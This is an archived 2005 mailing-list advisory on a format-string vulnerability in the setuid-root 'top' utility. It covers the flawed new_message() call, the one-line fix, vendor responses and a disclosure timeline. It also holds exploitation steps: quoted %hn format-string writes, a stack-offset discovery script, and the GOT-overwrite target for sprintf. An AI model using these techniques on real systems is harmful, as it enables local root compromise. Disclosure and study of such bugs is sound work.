DMA[2005-0103a] - 'William LeFebvre "top" format string vulnerability'

From: KF (Lists) (
Date: 01/05/05

  • Next message: NGSSoftware Insight Security Research: "IBM DB2 db2fmp buffer overflow (#NISR05012005A)"
    Date: Tue, 04 Jan 2005 21:18:21 -0500

    Moving forward my work will be released independent of any previous
    affiliations. Once I have a web presence I will let you folks know.

    -Kevin Finisterre


    DMA[2005-0103a] - 'William LeFebvre "top" format string vulnerability'
    Author: Kevin Finisterre
    Product: 'unixtop'

    Description: In October of 2000 'vort-fu' aka Ben Bidner located and wrote a
    patch for a vulnerability in top. Somehow the original author William LeFebvre
    was never notified about the issue. Over four years later the vulnerability
    still remained in Williams code. Recently LeFebvre was notified about the bug
    and the issue has since been patched.

    This vulnerability has popped up in multiple places over the years. OpenBSD,
    FreeBSD, SCO Skunkware, and Solaris have all been subject to this vulnerability.
    Anyone that has compiled the unixtop packages by hand is also potentially
    vulnerable assuming that permissions permit. Most recently this bug popped up
    on the Solaris 10 Companion CD complements of Sunfreeware.

    As mentioned above if you compiled top by hand you *may* be vulnerable. This is
    because during installation of unixtop you are prompted with the following

    I'm going to assume that top needs to run setuid to root, but you
    should double check and use mode 2755 (set group id) if top doesn't
    really need root access. If you are running SunOS 5.0 through SunOS
    5.5.1 (that's Solaris 2.0 through Solaris 2.5.1) then you will need to
    install top setuid root (owner root and mode 4711). In SunOS 5.6
    and higher top only requires set group id sys permissions.

    Tell me how to set the following when top is installed:
    Owner [root]:
    Group owner [32600]:
    Mode [4711]:

    If you select all defaults you will have the following binary that is setuid

    linux:/home/kfinisterre/top-3.5 # ls -al /usr/local/bin/top
    -rws--x--x 1 root 32600 44550 2004-12-09 00:22 /usr/local/bin/top

    SeungHyun Seo created an exploit somewhere around a year after the bug was
    first found. The header of his code outlines a technique for exploiting the

     * freebsd x86 top exploit
     * affected under top-3.5beta9 ( including this version )
     * 1. get the address of .dtors from /usr/bin/top using objdump ,
     * 'objdump -s -j .dtors /usr/bin/top'
     * 2. divide it into four parts, and set it up into an environment variable
     * like "XSEO="
     * 3. run top, then find "your parted addresses from "kill" or "renice"
     * command like this
     * 'k %200$p' or 'r 2000 %200$p'
     * 4. do exploit !
     * 'k %190u%230$hn' <== 0xbf (4)
     * 'k %190u%229$hn' <== 0xbf (3)
     * 'k %214u%228$hn' <== 0xd7 (2)
     * 'k %118u%227$hn' <== 0x77 (1)
     * truefinder , seo igrus inha ac kr
     * thx mat, labman, zen-parse

    By default top runs with the -i Use "interactive" mode enabled. In this mode,
    any input is immediately read for processing. For us this means that we don't
    actually have to open top and manually type stuff out while exploiting this
    issue as Seo did.

    kfinisterre@jdam:~/top-3.5> echo k %n%n%n | ./top

    last pid: 7603; load averages: 0.05, 0.19, 0.26 00:25:07
    68 processes: 1 running, 67 sleeping
    CPU states: % user, % nice, % system, % idle
    kill %n%n%n%n%nSegmentation fault

    If we look at the issue in gdb we can see where the problem lies in the
    codebase. In this case the problem is caused by an unformatted new_message()
    call in the kill routine.

    (gdb) bt
    #0 0x400cdd83 in vfprintf () from /lib/tls/
    #1 0x400e5ffb in vsprintf () from /lib/tls/
    #2 0x400d338b in sprintf () from /lib/tls/
    #3 0x0804b6c9 in new_message ()
    #4 0x0804a04d in main ()

    new_message() winds up calling sprintf with our user supplied data in the
    msgfmt variable listed below.

    /* first, format the message */
    (void) sprintf(next_msg, msgfmt, a1, a2, a3);

    The code below is what caused the issue to begin with. A simple fix would
    be to replace: new_message(MT_standout, errmsg); with
    new_message(MT_standout, "%s", errmsg);

    static char tempbuf2[50];
    case CMD_kill: /* kill program */
    new_message(0, "kill ");
    if (readline(tempbuf2, sizeof(tempbuf2), No) > 0)
            if ((errmsg = kill_procs(tempbuf2)) != NULL)
                    new_message(MT_standout, errmsg);
                    no_command = Yes;

    If you examine the code snippet above you will find that the input buffer
    is limited to 50 chars in length. This limit obviously makes exploitation
    a little more interesting.

    When exploiting the issue there is no need to reinvent the wheel so we can
    make use of some of Seo's existing technique. Seo placed his write addresses
    in an environment variable so lets begin there. A quick script helps us
    locate our user input on the stack.

    kfinisterre@jdam:~/top-3.5> cat
    until [ "$cnt" = "254" ]
    export DM=`echo -e "--AAAABBBB----"`
    echo $counter:
    echo k *\%$cnt\$x* | strace -o file -s100 ./top
    grep "Not a number" file
    let cnt+=1

    kfinisterre@jdam:~/top-3.5> ./
    write(1, "\r\33[7m *41414141*: Not a number\33[27m\r", 36) = 36
    write(1, "\r\33[7m *42424242*: Not a number\33[27m\r", 36) = 36
    write(1, "\r\33[7m *2d2d2d2d*: Not a number\33[27m\r", 36) = 36
    write(1, "\r\33[7m *4e414d00*: Not a number\33[27m\r", 36) = 36

    Now that we have our input we should find a memory location to overwrite.
    sprintf() is called after new_message() so lets overwrite it. You could of
    course find a better place to overwrite, sprintf could yield some unexpected
    results later on.

    kfinisterre@jdam:~/top_ex$ objdump -R top | grep sprintf
    0804f340 R_386_JUMP_SLOT sprintf

    Keep in mind when you are writing an exploit for this that the memory offsets
    are highly touchy in regards to what environment variables are set. You should
    set a variable that contains your write addresses and then attempt to locate
    them via various format strings. Stashing your shellcode and nops somewhere
    close by would probably be a good idea as well.

    Using a format string of "%.100d.%180$x" should output something similar to
    the following string if you chose to overwrite sprintf() as described above:

    ...0000000000000000000000000000000000000000000.804f340: Not a number

    At this point you have all you need to write an exploit for this issue,
    a write address, the offsets to your user input, and a method to remove the
    user interaction required for exploitation. Top has some quirks that make
    explioting this bug tricky but it can be done.

    I have attached a semi-functional PoC exploit, however it needs a little
    TLC before it can be used to hand out a full blown root prompt.

    Hopefully there can finally be some closure on this vulnerability and maybe we
    can learn something from how the disclosure in this case was handled? Some of
    you probably learned that if you don't tell the author about a bug you can let
    it fester in the codebase and exploit it for years on end. Others hopefully
    learned that perhaps its a good idea to notify the original author of the code
    when a security issue comes up.

    Both Sun and William responded as follows:

    William LeFebvre :

    Kevin: thanks for bringing this to my attention. This is indeed the first I
    have heard of this particular vulnerability. I will see that it is fixed in
    the source and I will have to release version 3.5.1 with the fix in place. I
    will let everyone know when that is done.

    As for set-uid-ness: any solaris system that supports psinfo does not need
    top installed setuid. Current install scripts install it setgid to sys, but
    I have not recently evaluated if that is even necessary anymore. Please do not
    build packages that install top setuid for Solaris 2.6 and up!

    --------- Security Coordination Team:

    Thanks William for updating the sources,
    We have requested the engineers responsible for Solaris Companion CD
    and web-download
    to upgrade the packages. You would see new packages whenever the next
    Solaris Companion CD is built. is not maintained by Sun.
    We have requested the Steven M. Christensen of Steven M. Christensen and
    Associates, Inc. to upgrade top.

    Best regards,
    Sun Security Coordination Team


    Timeline associated with this bug:

    vort-fu on Wed, 4 Oct 2000 15:28:22 +1100 (EST) submits "diffs for top" to and

    Todd C. Miller on Wed, 4 Oct 2000 15:19:38 -0600 (MDT) updates the cvs source.

    FreeBSD Security Advisories on Wed, 1 Nov 2000 14:59:54 -0800 releases
    Security Advisory FreeBSD-SA-00:62

    The threads after the FreeBSD release pretty much involve some mud slinging
    about proper notification. Which is kind of ironic...

    SeungHyun Seo on Wed, 25 Jul 2001 19:24:29 +0900 (KST) releases the
    "freebsd x86 top exploit" for versions <= top-3.5beta9.

    Kevin Finisterre on Wed, 14 Nov 2001 11:54:30 -0500 releases and advisory
    outlining a "SCO skunkware top format strings issue"

    Kevin Finisterre On Wed, 2004-11-24 at 04:38 notifies the vendor! 4 years
    later! This bug was found alive and kicking in the Solaris 10 Sun freeware


  • Next message: NGSSoftware Insight Security Research: "IBM DB2 db2fmp buffer overflow (#NISR05012005A)"

    Relevant Pages